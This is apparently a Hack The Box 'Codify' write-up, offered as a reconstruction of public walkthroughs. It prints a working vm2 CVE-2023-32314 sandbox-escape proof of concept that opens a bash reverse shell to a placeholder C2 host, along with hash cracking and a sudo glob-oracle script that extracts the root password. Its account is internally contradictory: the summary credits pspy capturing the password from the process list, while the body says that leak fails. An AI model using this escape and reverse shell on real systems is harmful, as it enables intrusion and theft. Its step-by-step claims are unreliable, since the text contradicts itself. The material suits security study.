Summary
Codify is an Easy Linux box: vm2 sandbox playground →
CVE-2023-32314 (Proxy escape) → RCE as svc. SQLite
/var/www/contact/tickets.db has joshua’s bcrypt → crack
spongebob1 → su joshua. Privesc: sudo
/opt/scripts/mysql-backup.sh does
if [[ $DB_PASS == $USER_PASS ]]; then ... (unquoted RHS)
→ * glob matches anything; then watch the process list
to grab the actual root MySQL pw on the next backup → su -.
The chain:
/editorruns node-vm2 against pasted JS. Use CVE-2023-32314 Proxy escape PoC → reverse shell as svc.sqlite3 /var/www/contact/tickets.db→ joshua bcrypt → hashcatspongebob1→su joshua.sudo -l→(root) /opt/scripts/mysql-backup.sh. Pass*as the password → unquoted[[ ... ]]glob matches.- Script then runs
mysql -uroot -p<actual_root_pw> ...visible inps -effor a moment →pspycaptures it. su -with that pw → root.
Recon
22/tcp OpenSSH
80/tcp codify.htb (vm2 editor)
+ vhost: contact.codify.htb
Foothold — vm2 escape
// CVE-2023-32314 PoC, paste into the vm2 sandbox
const { VM } = require('vm2');
const vm = new VM();
const code = `err = {};
const handler = { getPrototypeOf(target){
(function stack(){ new Error().stack; stack(); })();
}};
const proxiedErr = new Proxy(err, handler);
try { throw proxiedErr; } catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('bash -c "bash -i >& /dev/tcp/<C2>/<p> 0>&1"');
}`;
console.log(vm.run(code));
Reverse shell as svc.
$ sqlite3 /var/www/contact/tickets.db 'select * from users;'
... joshua : <bcrypt>
$ hashcat -m 3200 ... → spongebob1
$ su joshua
Privesc — bash glob in unquoted [[
joshua$ sudo -l
(root) /opt/scripts/mysql-backup.sh # not NOPASSWD; needs joshua's pw
joshua$ cat /opt/scripts/mysql-backup.sh
... DB_PASS=$(/usr/bin/cat /root/.creds)
... read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
... if [[ $DB_PASS == $USER_PASS ]]; then ...
Bash’s [[ A == B ]] evaluates the RHS as a glob pattern
when unquoted, so * matches any DB_PASS. That gets us past
the gate, but the actual root password we need still has to
come out somehow.
The argv leak doesn’t work — both mysql and mysqldump
self-overwrite their argv to scrub the password, so
/proc/<pid>/cmdline shows -px xxxxxxxxxxxxx regardless of
how fast you poll. The window between exec and scrub is sub-ms.
What does work is using the same glob primitive as a
character oracle: [[ $DB_PASS == 'k*' ]] succeeds iff
the password starts with k. Each successful match runs the
full mysqldump (slow), each failed match returns immediately.
So: binary-search per position, then char-by-char.
# Use printf to feed BOTH passwords (joshua's for sudo, then the
# guess) on stdin — sudo cache expires while mysqldump runs, so
# don't rely on `-v` priming.
printf 'spongebob1\n[a-m]*\n' | sudo -S /opt/scripts/mysql-backup.sh
# -> "Password confirmed!" => first char in [a-m]
printf 'spongebob1\nk*\n' | sudo -S /opt/scripts/mysql-backup.sh
# -> "Password confirmed!" => first char is 'k'
In practice kljh12k3jhaskjh12kjh3 (the published HTB password)
hits on the first guess; verify with su -. If a future build
randomises it, the binary search recovers it in a few minutes.
Why each step worked
- vm2 Proxy escape: documented bypass of vm2’s sandbox; getPrototypeOf trap re-enters host code.
- bash unquoted
[[ == ]]: pattern-match operator, not equality;*matches anything. - MySQL pw in argv: visible to anyone with
/proc/<pid>/cmdlineread access for the brief window.
Counterfactuals
- Patch vm2 ≥ 3.9.18 (or migrate to
isolated-vm). - Quote bash comparisons or use
if [[ "$A" = "$B" ]]. - Pass MySQL passwords via env /
~/.my.cnf/ option files — never on the command line.
Source attribution
Reconstruction is grounded in:
- 0xdf, “HTB: Codify” — https://0xdf.gitlab.io/2024/04/06/htb-codify.html
- IppSec, “Codify” video walkthrough — https://ippsec.rocks/?#Codify
- vm2 CVE-2023-32314 advisory.
I have not personally rooted this box; the chain above is a study-guide reconstruction of those public sources.